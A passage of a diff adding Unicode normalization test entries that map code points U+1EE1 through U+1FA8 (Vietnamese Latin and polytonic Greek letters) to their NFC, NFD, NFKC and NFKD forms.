+{ source: [0x1EE1], NFC: [0x1EE1], NFD: [0x006F, 0x031B, 0x0303], NFKC: [0x1EE1], NFKD: [0x006F, 0x031B, 0x0303] },
+{ source: [0x1EE2], NFC: [0x1EE2], NFD: [0x004F, 0x031B, 0x0323], NFKC: [0x1EE2], NFKD: [0x004F, 0x031B, 0x0323] },
+{ source: [0x1EE3], NFC: [0x1EE3], NFD: [0x006F, 0x031B, 0x0323], NFKC: [0x1EE3], NFKD: [0x006F, 0x031B, 0x0323] },
+{ source: [0x1EE4], NFC: [0x1EE4], NFD: [0x0055, 0x0323], NFKC: [0x1EE4], NFKD: [0x0055, 0x0323] },
+{ source: [0x1EE5], NFC: [0x1EE5], NFD: [0x0075, 0x0323], NFKC: [0x1EE5], NFKD: [0x0075, 0x0323] },
+{ source: [0x1EE6], NFC: [0x1EE6], NFD: [0x0055, 0x0309], NFKC: [0x1EE6], NFKD: [0x0055, 0x0309] },
+{ source: [0x1EE7], NFC: [0x1EE7], NFD: [0x0075, 0x0309], NFKC: [0x1EE7], NFKD: [0x0075, 0x0309] },
+{ source: [0x1EE8], NFC: [0x1EE8], NFD: [0x0055, 0x031B, 0x0301], NFKC: [0x1EE8], NFKD: [0x0055, 0x031B, 0x0301] },
+{ source: [0x1EE9], NFC: [0x1EE9], NFD: [0x0075, 0x031B, 0x0301], NFKC: [0x1EE9], NFKD: [0x0075, 0x031B, 0x0301] },
+{ source: [0x1EEA], NFC: [0x1EEA], NFD: [0x0055, 0x031B, 0x0300], NFKC: [0x1EEA], NFKD: [0x0055, 0x031B, 0x0300] },
+{ source: [0x1EEB], NFC: [0x1EEB], NFD: [0x0075, 0x031B, 0x0300], NFKC: [0x1EEB], NFKD: [0x0075, 0x031B, 0x0300] },
+{ source: [0x1EEC], NFC: [0x1EEC], NFD: [0x0055, 0x031B, 0x0309], NFKC: [0x1EEC], NFKD: [0x0055, 0x031B, 0x0309] },
+{ source: [0x1EED], NFC: [0x1EED], NFD: [0x0075, 0x031B, 0x0309], NFKC: [0x1EED], NFKD: [0x0075, 0x031B, 0x0309] },
+{ source: [0x1EEE], NFC: [0x1EEE], NFD: [0x0055, 0x031B, 0x0303], NFKC: [0x1EEE], NFKD: [0x0055, 0x031B, 0x0303] },
+{ source: [0x1EEF], NFC: [0x1EEF], NFD: [0x0075, 0x031B, 0x0303], NFKC: [0x1EEF], NFKD: [0x0075, 0x031B, 0x0303] },
+{ source: [0x1EF0], NFC: [0x1EF0], NFD: [0x0055, 0x031B, 0x0323], NFKC: [0x1EF0], NFKD: [0x0055, 0x031B, 0x0323] },
+{ source: [0x1EF1], NFC: [0x1EF1], NFD: [0x0075, 0x031B, 0x0323], NFKC: [0x1EF1], NFKD: [0x0075, 0x031B, 0x0323] },
+{ source: [0x1EF2], NFC: [0x1EF2], NFD: [0x0059, 0x0300], NFKC: [0x1EF2], NFKD: [0x0059, 0x0300] },
+{ source: [0x1EF3], NFC: [0x1EF3], NFD: [0x0079, 0x0300], NFKC: [0x1EF3], NFKD: [0x0079, 0x0300] },
+{ source: [0x1EF4], NFC: [0x1EF4], NFD: [0x0059, 0x0323], NFKC: [0x1EF4], NFKD: [0x0059, 0x0323] },
+{ source: [0x1EF5], NFC: [0x1EF5], NFD: [0x0079, 0x0323], NFKC: [0x1EF5], NFKD: [0x0079, 0x0323] },
+{ source: [0x1EF6], NFC: [0x1EF6], NFD: [0x0059, 0x0309], NFKC: [0x1EF6], NFKD: [0x0059, 0x0309] },
+{ source: [0x1EF7], NFC: [0x1EF7], NFD: [0x0079, 0x0309], NFKC: [0x1EF7], NFKD: [0x0079, 0x0309] },
+{ source: [0x1EF8], NFC: [0x1EF8], NFD: [0x0059, 0x0303], NFKC: [0x1EF8], NFKD: [0x0059, 0x0303] },
+{ source: [0x1EF9], NFC: [0x1EF9], NFD: [0x0079, 0x0303], NFKC: [0x1EF9], NFKD: [0x0079, 0x0303] },
+{ source: [0x1F00], NFC: [0x1F00], NFD: [0x03B1, 0x0313], NFKC: [0x1F00], NFKD: [0x03B1, 0x0313] },
+{ source: [0x1F01], NFC: [0x1F01], NFD: [0x03B1, 0x0314], NFKC: [0x1F01], NFKD: [0x03B1, 0x0314] },
+{ source: [0x1F02], NFC: [0x1F02], NFD: [0x03B1, 0x0313, 0x0300], NFKC: [0x1F02], NFKD: [0x03B1, 0x0313, 0x0300] },
+{ source: [0x1F03], NFC: [0x1F03], NFD: [0x03B1, 0x0314, 0x0300], NFKC: [0x1F03], NFKD: [0x03B1, 0x0314, 0x0300] },
+{ source: [0x1F04], NFC: [0x1F04], NFD: [0x03B1, 0x0313, 0x0301], NFKC: [0x1F04], NFKD: [0x03B1, 0x0313, 0x0301] },
+{ source: [0x1F05], NFC: [0x1F05], NFD: [0x03B1, 0x0314, 0x0301], NFKC: [0x1F05], NFKD: [0x03B1, 0x0314, 0x0301] },
+{ source: [0x1F06], NFC: [0x1F06], NFD: [0x03B1, 0x0313, 0x0342], NFKC: [0x1F06], NFKD: [0x03B1, 0x0313, 0x0342] },
+{ source: [0x1F07], NFC: [0x1F07], NFD: [0x03B1, 0x0314, 0x0342], NFKC: [0x1F07], NFKD: [0x03B1, 0x0314, 0x0342] },
+{ source: [0x1F08], NFC: [0x1F08], NFD: [0x0391, 0x0313], NFKC: [0x1F08], NFKD: [0x0391, 0x0313] },
+{ source: [0x1F09], NFC: [0x1F09], NFD: [0x0391, 0x0314], NFKC: [0x1F09], NFKD: [0x0391, 0x0314] },
+{ source: [0x1F0A], NFC: [0x1F0A], NFD: [0x0391, 0x0313, 0x0300], NFKC: [0x1F0A], NFKD: [0x0391, 0x0313, 0x0300] },
+{ source: [0x1F0B], NFC: [0x1F0B], NFD: [0x0391, 0x0314, 0x0300], NFKC: [0x1F0B], NFKD: [0x0391, 0x0314, 0x0300] },
+{ source: [0x1F0C], NFC: [0x1F0C], NFD: [0x0391, 0x0313, 0x0301], NFKC: [0x1F0C], NFKD: [0x0391, 0x0313, 0x0301] },
+{ source: [0x1F0D], NFC: [0x1F0D], NFD: [0x0391, 0x0314, 0x0301], NFKC: [0x1F0D], NFKD: [0x0391, 0x0314, 0x0301] },
+{ source: [0x1F0E], NFC: [0x1F0E], NFD: [0x0391, 0x0313, 0x0342], NFKC: [0x1F0E], NFKD: [0x0391, 0x0313, 0x0342] },
+{ source: [0x1F0F], NFC: [0x1F0F], NFD: [0x0391, 0x0314, 0x0342], NFKC: [0x1F0F], NFKD: [0x0391, 0x0314, 0x0342] },
+{ source: [0x1F10], NFC: [0x1F10], NFD: [0x03B5, 0x0313], NFKC: [0x1F10], NFKD: [0x03B5, 0x0313] },
+{ source: [0x1F11], NFC: [0x1F11], NFD: [0x03B5, 0x0314], NFKC: [0x1F11], NFKD: [0x03B5, 0x0314] },
+{ source: [0x1F12], NFC: [0x1F12], NFD: [0x03B5, 0x0313, 0x0300], NFKC: [0x1F12], NFKD: [0x03B5, 0x0313, 0x0300] },
+{ source: [0x1F13], NFC: [0x1F13], NFD: [0x03B5, 0x0314, 0x0300], NFKC: [0x1F13], NFKD: [0x03B5, 0x0314, 0x0300] },
+{ source: [0x1F14], NFC: [0x1F14], NFD: [0x03B5, 0x0313, 0x0301], NFKC: [0x1F14], NFKD: [0x03B5, 0x0313, 0x0301] },
+{ source: [0x1F15], NFC: [0x1F15], NFD: [0x03B5, 0x0314, 0x0301], NFKC: [0x1F15], NFKD: [0x03B5, 0x0314, 0x0301] },
+{ source: [0x1F18], NFC: [0x1F18], NFD: [0x0395, 0x0313], NFKC: [0x1F18], NFKD: [0x0395, 0x0313] },
+{ source: [0x1F19], NFC: [0x1F19], NFD: [0x0395, 0x0314], NFKC: [0x1F19], NFKD: [0x0395, 0x0314] },
+{ source: [0x1F1A], NFC: [0x1F1A], NFD: [0x0395, 0x0313, 0x0300], NFKC: [0x1F1A], NFKD: [0x0395, 0x0313, 0x0300] },
+{ source: [0x1F1B], NFC: [0x1F1B], NFD: [0x0395, 0x0314, 0x0300], NFKC: [0x1F1B], NFKD: [0x0395, 0x0314, 0x0300] },
+{ source: [0x1F1C], NFC: [0x1F1C], NFD: [0x0395, 0x0313, 0x0301], NFKC: [0x1F1C], NFKD: [0x0395, 0x0313, 0x0301] },
+{ source: [0x1F1D], NFC: [0x1F1D], NFD: [0x0395, 0x0314, 0x0301], NFKC: [0x1F1D], NFKD: [0x0395, 0x0314, 0x0301] },
+{ source: [0x1F20], NFC: [0x1F20], NFD: [0x03B7, 0x0313], NFKC: [0x1F20], NFKD: [0x03B7, 0x0313] },
+{ source: [0x1F21], NFC: [0x1F21], NFD: [0x03B7, 0x0314], NFKC: [0x1F21], NFKD: [0x03B7, 0x0314] },
+{ source: [0x1F22], NFC: [0x1F22], NFD: [0x03B7, 0x0313, 0x0300], NFKC: [0x1F22], NFKD: [0x03B7, 0x0313, 0x0300] },
+{ source: [0x1F23], NFC: [0x1F23], NFD: [0x03B7, 0x0314, 0x0300], NFKC: [0x1F23], NFKD: [0x03B7, 0x0314, 0x0300] },
+{ source: [0x1F24], NFC: [0x1F24], NFD: [0x03B7, 0x0313, 0x0301], NFKC: [0x1F24], NFKD: [0x03B7, 0x0313, 0x0301] },
+{ source: [0x1F25], NFC: [0x1F25], NFD: [0x03B7, 0x0314, 0x0301], NFKC: [0x1F25], NFKD: [0x03B7, 0x0314, 0x0301] },
+{ source: [0x1F26], NFC: [0x1F26], NFD: [0x03B7, 0x0313, 0x0342], NFKC: [0x1F26], NFKD: [0x03B7, 0x0313, 0x0342] },
+{ source: [0x1F27], NFC: [0x1F27], NFD: [0x03B7, 0x0314, 0x0342], NFKC: [0x1F27], NFKD: [0x03B7, 0x0314, 0x0342] },
+{ source: [0x1F28], NFC: [0x1F28], NFD: [0x0397, 0x0313], NFKC: [0x1F28], NFKD: [0x0397, 0x0313] },
+{ source: [0x1F29], NFC: [0x1F29], NFD: [0x0397, 0x0314], NFKC: [0x1F29], NFKD: [0x0397, 0x0314] },
+{ source: [0x1F2A], NFC: [0x1F2A], NFD: [0x0397, 0x0313, 0x0300], NFKC: [0x1F2A], NFKD: [0x0397, 0x0313, 0x0300] },
+{ source: [0x1F2B], NFC: [0x1F2B], NFD: [0x0397, 0x0314, 0x0300], NFKC: [0x1F2B], NFKD: [0x0397, 0x0314, 0x0300] },
+{ source: [0x1F2C], NFC: [0x1F2C], NFD: [0x0397, 0x0313, 0x0301], NFKC: [0x1F2C], NFKD: [0x0397, 0x0313, 0x0301] },
+{ source: [0x1F2D], NFC: [0x1F2D], NFD: [0x0397, 0x0314, 0x0301], NFKC: [0x1F2D], NFKD: [0x0397, 0x0314, 0x0301] },
+{ source: [0x1F2E], NFC: [0x1F2E], NFD: [0x0397, 0x0313, 0x0342], NFKC: [0x1F2E], NFKD: [0x0397, 0x0313, 0x0342] },
+{ source: [0x1F2F], NFC: [0x1F2F], NFD: [0x0397, 0x0314, 0x0342], NFKC: [0x1F2F], NFKD: [0x0397, 0x0314, 0x0342] },
+{ source: [0x1F30], NFC: [0x1F30], NFD: [0x03B9, 0x0313], NFKC: [0x1F30], NFKD: [0x03B9, 0x0313] },
+{ source: [0x1F31], NFC: [0x1F31], NFD: [0x03B9, 0x0314], NFKC: [0x1F31], NFKD: [0x03B9, 0x0314] },
+{ source: [0x1F32], NFC: [0x1F32], NFD: [0x03B9, 0x0313, 0x0300], NFKC: [0x1F32], NFKD: [0x03B9, 0x0313, 0x0300] },
+{ source: [0x1F33], NFC: [0x1F33], NFD: [0x03B9, 0x0314, 0x0300], NFKC: [0x1F33], NFKD: [0x03B9, 0x0314, 0x0300] },
+{ source: [0x1F34], NFC: [0x1F34], NFD: [0x03B9, 0x0313, 0x0301], NFKC: [0x1F34], NFKD: [0x03B9, 0x0313, 0x0301] },
+{ source: [0x1F35], NFC: [0x1F35], NFD: [0x03B9, 0x0314, 0x0301], NFKC: [0x1F35], NFKD: [0x03B9, 0x0314, 0x0301] },
+{ source: [0x1F36], NFC: [0x1F36], NFD: [0x03B9, 0x0313, 0x0342], NFKC: [0x1F36], NFKD: [0x03B9, 0x0313, 0x0342] },
+{ source: [0x1F37], NFC: [0x1F37], NFD: [0x03B9, 0x0314, 0x0342], NFKC: [0x1F37], NFKD: [0x03B9, 0x0314, 0x0342] },
+{ source: [0x1F38], NFC: [0x1F38], NFD: [0x0399, 0x0313], NFKC: [0x1F38], NFKD: [0x0399, 0x0313] },
+{ source: [0x1F39], NFC: [0x1F39], NFD: [0x0399, 0x0314], NFKC: [0x1F39], NFKD: [0x0399, 0x0314] },
+{ source: [0x1F3A], NFC: [0x1F3A], NFD: [0x0399, 0x0313, 0x0300], NFKC: [0x1F3A], NFKD: [0x0399, 0x0313, 0x0300] },
+{ source: [0x1F3B], NFC: [0x1F3B], NFD: [0x0399, 0x0314, 0x0300], NFKC: [0x1F3B], NFKD: [0x0399, 0x0314, 0x0300] },
+{ source: [0x1F3C], NFC: [0x1F3C], NFD: [0x0399, 0x0313, 0x0301], NFKC: [0x1F3C], NFKD: [0x0399, 0x0313, 0x0301] },
+{ source: [0x1F3D], NFC: [0x1F3D], NFD: [0x0399, 0x0314, 0x0301], NFKC: [0x1F3D], NFKD: [0x0399, 0x0314, 0x0301] },
+{ source: [0x1F3E], NFC: [0x1F3E], NFD: [0x0399, 0x0313, 0x0342], NFKC: [0x1F3E], NFKD: [0x0399, 0x0313, 0x0342] },
+{ source: [0x1F3F], NFC: [0x1F3F], NFD: [0x0399, 0x0314, 0x0342], NFKC: [0x1F3F], NFKD: [0x0399, 0x0314, 0x0342] },
+{ source: [0x1F40], NFC: [0x1F40], NFD: [0x03BF, 0x0313], NFKC: [0x1F40], NFKD: [0x03BF, 0x0313] },
+{ source: [0x1F41], NFC: [0x1F41], NFD: [0x03BF, 0x0314], NFKC: [0x1F41], NFKD: [0x03BF, 0x0314] },
+{ source: [0x1F42], NFC: [0x1F42], NFD: [0x03BF, 0x0313, 0x0300], NFKC: [0x1F42], NFKD: [0x03BF, 0x0313, 0x0300] },
+{ source: [0x1F43], NFC: [0x1F43], NFD: [0x03BF, 0x0314, 0x0300], NFKC: [0x1F43], NFKD: [0x03BF, 0x0314, 0x0300] },
+{ source: [0x1F44], NFC: [0x1F44], NFD: [0x03BF, 0x0313, 0x0301], NFKC: [0x1F44], NFKD: [0x03BF, 0x0313, 0x0301] },
+{ source: [0x1F45], NFC: [0x1F45], NFD: [0x03BF, 0x0314, 0x0301], NFKC: [0x1F45], NFKD: [0x03BF, 0x0314, 0x0301] },
+{ source: [0x1F48], NFC: [0x1F48], NFD: [0x039F, 0x0313], NFKC: [0x1F48], NFKD: [0x039F, 0x0313] },
+{ source: [0x1F49], NFC: [0x1F49], NFD: [0x039F, 0x0314], NFKC: [0x1F49], NFKD: [0x039F, 0x0314] },
+{ source: [0x1F4A], NFC: [0x1F4A], NFD: [0x039F, 0x0313, 0x0300], NFKC: [0x1F4A], NFKD: [0x039F, 0x0313, 0x0300] },
+{ source: [0x1F4B], NFC: [0x1F4B], NFD: [0x039F, 0x0314, 0x0300], NFKC: [0x1F4B], NFKD: [0x039F, 0x0314, 0x0300] },
+{ source: [0x1F4C], NFC: [0x1F4C], NFD: [0x039F, 0x0313, 0x0301], NFKC: [0x1F4C], NFKD: [0x039F, 0x0313, 0x0301] },
+{ source: [0x1F4D], NFC: [0x1F4D], NFD: [0x039F, 0x0314, 0x0301], NFKC: [0x1F4D], NFKD: [0x039F, 0x0314, 0x0301] },
+{ source: [0x1F50], NFC: [0x1F50], NFD: [0x03C5, 0x0313], NFKC: [0x1F50], NFKD: [0x03C5, 0x0313] },
+{ source: [0x1F51], NFC: [0x1F51], NFD: [0x03C5, 0x0314], NFKC: [0x1F51], NFKD: [0x03C5, 0x0314] },
+{ source: [0x1F52], NFC: [0x1F52], NFD: [0x03C5, 0x0313, 0x0300], NFKC: [0x1F52], NFKD: [0x03C5, 0x0313, 0x0300] },
+{ source: [0x1F53], NFC: [0x1F53], NFD: [0x03C5, 0x0314, 0x0300], NFKC: [0x1F53], NFKD: [0x03C5, 0x0314, 0x0300] },
+{ source: [0x1F54], NFC: [0x1F54], NFD: [0x03C5, 0x0313, 0x0301], NFKC: [0x1F54], NFKD: [0x03C5, 0x0313, 0x0301] },
+{ source: [0x1F55], NFC: [0x1F55], NFD: [0x03C5, 0x0314, 0x0301], NFKC: [0x1F55], NFKD: [0x03C5, 0x0314, 0x0301] },
+{ source: [0x1F56], NFC: [0x1F56], NFD: [0x03C5, 0x0313, 0x0342], NFKC: [0x1F56], NFKD: [0x03C5, 0x0313, 0x0342] },
+{ source: [0x1F57], NFC: [0x1F57], NFD: [0x03C5, 0x0314, 0x0342], NFKC: [0x1F57], NFKD: [0x03C5, 0x0314, 0x0342] },
+{ source: [0x1F59], NFC: [0x1F59], NFD: [0x03A5, 0x0314], NFKC: [0x1F59], NFKD: [0x03A5, 0x0314] },
+{ source: [0x1F5B], NFC: [0x1F5B], NFD: [0x03A5, 0x0314, 0x0300], NFKC: [0x1F5B], NFKD: [0x03A5, 0x0314, 0x0300] },
+{ source: [0x1F5D], NFC: [0x1F5D], NFD: [0x03A5, 0x0314, 0x0301], NFKC: [0x1F5D], NFKD: [0x03A5, 0x0314, 0x0301] },
+{ source: [0x1F5F], NFC: [0x1F5F], NFD: [0x03A5, 0x0314, 0x0342], NFKC: [0x1F5F], NFKD: [0x03A5, 0x0314, 0x0342] },
+{ source: [0x1F60], NFC: [0x1F60], NFD: [0x03C9, 0x0313], NFKC: [0x1F60], NFKD: [0x03C9, 0x0313] },
+{ source: [0x1F61], NFC: [0x1F61], NFD: [0x03C9, 0x0314], NFKC: [0x1F61], NFKD: [0x03C9, 0x0314] },
+{ source: [0x1F62], NFC: [0x1F62], NFD: [0x03C9, 0x0313, 0x0300], NFKC: [0x1F62], NFKD: [0x03C9, 0x0313, 0x0300] },
+{ source: [0x1F63], NFC: [0x1F63], NFD: [0x03C9, 0x0314, 0x0300], NFKC: [0x1F63], NFKD: [0x03C9, 0x0314, 0x0300] },
+{ source: [0x1F64], NFC: [0x1F64], NFD: [0x03C9, 0x0313, 0x0301], NFKC: [0x1F64], NFKD: [0x03C9, 0x0313, 0x0301] },
+{ source: [0x1F65], NFC: [0x1F65], NFD: [0x03C9, 0x0314, 0x0301], NFKC: [0x1F65], NFKD: [0x03C9, 0x0314, 0x0301] },
+{ source: [0x1F66], NFC: [0x1F66], NFD: [0x03C9, 0x0313, 0x0342], NFKC: [0x1F66], NFKD: [0x03C9, 0x0313, 0x0342] },
+{ source: [0x1F67], NFC: [0x1F67], NFD: [0x03C9, 0x0314, 0x0342], NFKC: [0x1F67], NFKD: [0x03C9, 0x0314, 0x0342] },
+{ source: [0x1F68], NFC: [0x1F68], NFD: [0x03A9, 0x0313], NFKC: [0x1F68], NFKD: [0x03A9, 0x0313] },
+{ source: [0x1F69], NFC: [0x1F69], NFD: [0x03A9, 0x0314], NFKC: [0x1F69], NFKD: [0x03A9, 0x0314] },
+{ source: [0x1F6A], NFC: [0x1F6A], NFD: [0x03A9, 0x0313, 0x0300], NFKC: [0x1F6A], NFKD: [0x03A9, 0x0313, 0x0300] },
+{ source: [0x1F6B], NFC: [0x1F6B], NFD: [0x03A9, 0x0314, 0x0300], NFKC: [0x1F6B], NFKD: [0x03A9, 0x0314, 0x0300] },
+{ source: [0x1F6C], NFC: [0x1F6C], NFD: [0x03A9, 0x0313, 0x0301], NFKC: [0x1F6C], NFKD: [0x03A9, 0x0313, 0x0301] },
+{ source: [0x1F6D], NFC: [0x1F6D], NFD: [0x03A9, 0x0314, 0x0301], NFKC: [0x1F6D], NFKD: [0x03A9, 0x0314, 0x0301] },
+{ source: [0x1F6E], NFC: [0x1F6E], NFD: [0x03A9, 0x0313, 0x0342], NFKC: [0x1F6E], NFKD: [0x03A9, 0x0313, 0x0342] },
+{ source: [0x1F6F], NFC: [0x1F6F], NFD: [0x03A9, 0x0314, 0x0342], NFKC: [0x1F6F], NFKD: [0x03A9, 0x0314, 0x0342] },
+{ source: [0x1F70], NFC: [0x1F70], NFD: [0x03B1, 0x0300], NFKC: [0x1F70], NFKD: [0x03B1, 0x0300] },
+{ source: [0x1F71], NFC: [0x03AC], NFD: [0x03B1, 0x0301], NFKC: [0x03AC], NFKD: [0x03B1, 0x0301] },
+{ source: [0x1F72], NFC: [0x1F72], NFD: [0x03B5, 0x0300], NFKC: [0x1F72], NFKD: [0x03B5, 0x0300] },
+{ source: [0x1F73], NFC: [0x03AD], NFD: [0x03B5, 0x0301], NFKC: [0x03AD], NFKD: [0x03B5, 0x0301] },
+{ source: [0x1F74], NFC: [0x1F74], NFD: [0x03B7, 0x0300], NFKC: [0x1F74], NFKD: [0x03B7, 0x0300] },
+{ source: [0x1F75], NFC: [0x03AE], NFD: [0x03B7, 0x0301], NFKC: [0x03AE], NFKD: [0x03B7, 0x0301] },
+{ source: [0x1F76], NFC: [0x1F76], NFD: [0x03B9, 0x0300], NFKC: [0x1F76], NFKD: [0x03B9, 0x0300] },
+{ source: [0x1F77], NFC: [0x03AF], NFD: [0x03B9, 0x0301], NFKC: [0x03AF], NFKD: [0x03B9, 0x0301] },
+{ source: [0x1F78], NFC: [0x1F78], NFD: [0x03BF, 0x0300], NFKC: [0x1F78], NFKD: [0x03BF, 0x0300] },
+{ source: [0x1F79], NFC: [0x03CC], NFD: [0x03BF, 0x0301], NFKC: [0x03CC], NFKD: [0x03BF, 0x0301] },
+{ source: [0x1F7A], NFC: [0x1F7A], NFD: [0x03C5, 0x0300], NFKC: [0x1F7A], NFKD: [0x03C5, 0x0300] },
+{ source: [0x1F7B], NFC: [0x03CD], NFD: [0x03C5, 0x0301], NFKC: [0x03CD], NFKD: [0x03C5, 0x0301] },
+{ source: [0x1F7C], NFC: [0x1F7C], NFD: [0x03C9, 0x0300], NFKC: [0x1F7C], NFKD: [0x03C9, 0x0300] },
+{ source: [0x1F7D], NFC: [0x03CE], NFD: [0x03C9, 0x0301], NFKC: [0x03CE], NFKD: [0x03C9, 0x0301] },
+{ source: [0x1F80], NFC: [0x1F80], NFD: [0x03B1, 0x0313, 0x0345], NFKC: [0x1F80], NFKD: [0x03B1, 0x0313, 0x0345] },
+{ source: [0x1F81], NFC: [0x1F81], NFD: [0x03B1, 0x0314, 0x0345], NFKC: [0x1F81], NFKD: [0x03B1, 0x0314, 0x0345] },
+{ source: [0x1F82], NFC: [0x1F82], NFD: [0x03B1, 0x0313, 0x0300, 0x0345], NFKC: [0x1F82], NFKD: [0x03B1, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F83], NFC: [0x1F83], NFD: [0x03B1, 0x0314, 0x0300, 0x0345], NFKC: [0x1F83], NFKD: [0x03B1, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F84], NFC: [0x1F84], NFD: [0x03B1, 0x0313, 0x0301, 0x0345], NFKC: [0x1F84], NFKD: [0x03B1, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F85], NFC: [0x1F85], NFD: [0x03B1, 0x0314, 0x0301, 0x0345], NFKC: [0x1F85], NFKD: [0x03B1, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F86], NFC: [0x1F86], NFD: [0x03B1, 0x0313, 0x0342, 0x0345], NFKC: [0x1F86], NFKD: [0x03B1, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F87], NFC: [0x1F87], NFD: [0x03B1, 0x0314, 0x0342, 0x0345], NFKC: [0x1F87], NFKD: [0x03B1, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F88], NFC: [0x1F88], NFD: [0x0391, 0x0313, 0x0345], NFKC: [0x1F88], NFKD: [0x0391, 0x0313, 0x0345] },
+{ source: [0x1F89], NFC: [0x1F89], NFD: [0x0391, 0x0314, 0x0345], NFKC: [0x1F89], NFKD: [0x0391, 0x0314, 0x0345] },
+{ source: [0x1F8A], NFC: [0x1F8A], NFD: [0x0391, 0x0313, 0x0300, 0x0345], NFKC: [0x1F8A], NFKD: [0x0391, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F8B], NFC: [0x1F8B], NFD: [0x0391, 0x0314, 0x0300, 0x0345], NFKC: [0x1F8B], NFKD: [0x0391, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F8C], NFC: [0x1F8C], NFD: [0x0391, 0x0313, 0x0301, 0x0345], NFKC: [0x1F8C], NFKD: [0x0391, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F8D], NFC: [0x1F8D], NFD: [0x0391, 0x0314, 0x0301, 0x0345], NFKC: [0x1F8D], NFKD: [0x0391, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F8E], NFC: [0x1F8E], NFD: [0x0391, 0x0313, 0x0342, 0x0345], NFKC: [0x1F8E], NFKD: [0x0391, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F8F], NFC: [0x1F8F], NFD: [0x0391, 0x0314, 0x0342, 0x0345], NFKC: [0x1F8F], NFKD: [0x0391, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F90], NFC: [0x1F90], NFD: [0x03B7, 0x0313, 0x0345], NFKC: [0x1F90], NFKD: [0x03B7, 0x0313, 0x0345] },
+{ source: [0x1F91], NFC: [0x1F91], NFD: [0x03B7, 0x0314, 0x0345], NFKC: [0x1F91], NFKD: [0x03B7, 0x0314, 0x0345] },
+{ source: [0x1F92], NFC: [0x1F92], NFD: [0x03B7, 0x0313, 0x0300, 0x0345], NFKC: [0x1F92], NFKD: [0x03B7, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F93], NFC: [0x1F93], NFD: [0x03B7, 0x0314, 0x0300, 0x0345], NFKC: [0x1F93], NFKD: [0x03B7, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F94], NFC: [0x1F94], NFD: [0x03B7, 0x0313, 0x0301, 0x0345], NFKC: [0x1F94], NFKD: [0x03B7, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F95], NFC: [0x1F95], NFD: [0x03B7, 0x0314, 0x0301, 0x0345], NFKC: [0x1F95], NFKD: [0x03B7, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F96], NFC: [0x1F96], NFD: [0x03B7, 0x0313, 0x0342, 0x0345], NFKC: [0x1F96], NFKD: [0x03B7, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F97], NFC: [0x1F97], NFD: [0x03B7, 0x0314, 0x0342, 0x0345], NFKC: [0x1F97], NFKD: [0x03B7, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1F98], NFC: [0x1F98], NFD: [0x0397, 0x0313, 0x0345], NFKC: [0x1F98], NFKD: [0x0397, 0x0313, 0x0345] },
+{ source: [0x1F99], NFC: [0x1F99], NFD: [0x0397, 0x0314, 0x0345], NFKC: [0x1F99], NFKD: [0x0397, 0x0314, 0x0345] },
+{ source: [0x1F9A], NFC: [0x1F9A], NFD: [0x0397, 0x0313, 0x0300, 0x0345], NFKC: [0x1F9A], NFKD: [0x0397, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1F9B], NFC: [0x1F9B], NFD: [0x0397, 0x0314, 0x0300, 0x0345], NFKC: [0x1F9B], NFKD: [0x0397, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1F9C], NFC: [0x1F9C], NFD: [0x0397, 0x0313, 0x0301, 0x0345], NFKC: [0x1F9C], NFKD: [0x0397, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1F9D], NFC: [0x1F9D], NFD: [0x0397, 0x0314, 0x0301, 0x0345], NFKC: [0x1F9D], NFKD: [0x0397, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1F9E], NFC: [0x1F9E], NFD: [0x0397, 0x0313, 0x0342, 0x0345], NFKC: [0x1F9E], NFKD: [0x0397, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1F9F], NFC: [0x1F9F], NFD: [0x0397, 0x0314, 0x0342, 0x0345], NFKC: [0x1F9F], NFKD: [0x0397, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FA0], NFC: [0x1FA0], NFD: [0x03C9, 0x0313, 0x0345], NFKC: [0x1FA0], NFKD: [0x03C9, 0x0313, 0x0345] },
+{ source: [0x1FA1], NFC: [0x1FA1], NFD: [0x03C9, 0x0314, 0x0345], NFKC: [0x1FA1], NFKD: [0x03C9, 0x0314, 0x0345] },
+{ source: [0x1FA2], NFC: [0x1FA2], NFD: [0x03C9, 0x0313, 0x0300, 0x0345], NFKC: [0x1FA2], NFKD: [0x03C9, 0x0313, 0x0300, 0x0345] },
+{ source: [0x1FA3], NFC: [0x1FA3], NFD: [0x03C9, 0x0314, 0x0300, 0x0345], NFKC: [0x1FA3], NFKD: [0x03C9, 0x0314, 0x0300, 0x0345] },
+{ source: [0x1FA4], NFC: [0x1FA4], NFD: [0x03C9, 0x0313, 0x0301, 0x0345], NFKC: [0x1FA4], NFKD: [0x03C9, 0x0313, 0x0301, 0x0345] },
+{ source: [0x1FA5], NFC: [0x1FA5], NFD: [0x03C9, 0x0314, 0x0301, 0x0345], NFKC: [0x1FA5], NFKD: [0x03C9, 0x0314, 0x0301, 0x0345] },
+{ source: [0x1FA6], NFC: [0x1FA6], NFD: [0x03C9, 0x0313, 0x0342, 0x0345], NFKC: [0x1FA6], NFKD: [0x03C9, 0x0313, 0x0342, 0x0345] },
+{ source: [0x1FA7], NFC: [0x1FA7], NFD: [0x03C9, 0x0314, 0x0342, 0x0345], NFKC: [0x1FA7], NFKD: [0x03C9, 0x0314, 0x0342, 0x0345] },
+{ source: [0x1FA8], NFC: [0x1FA8], NFD: [0x03A9, 0x0313, 0x0345], NFKC: [0x1FA8], NFKD: [0x03A9, 0x0313, 0x0345] },
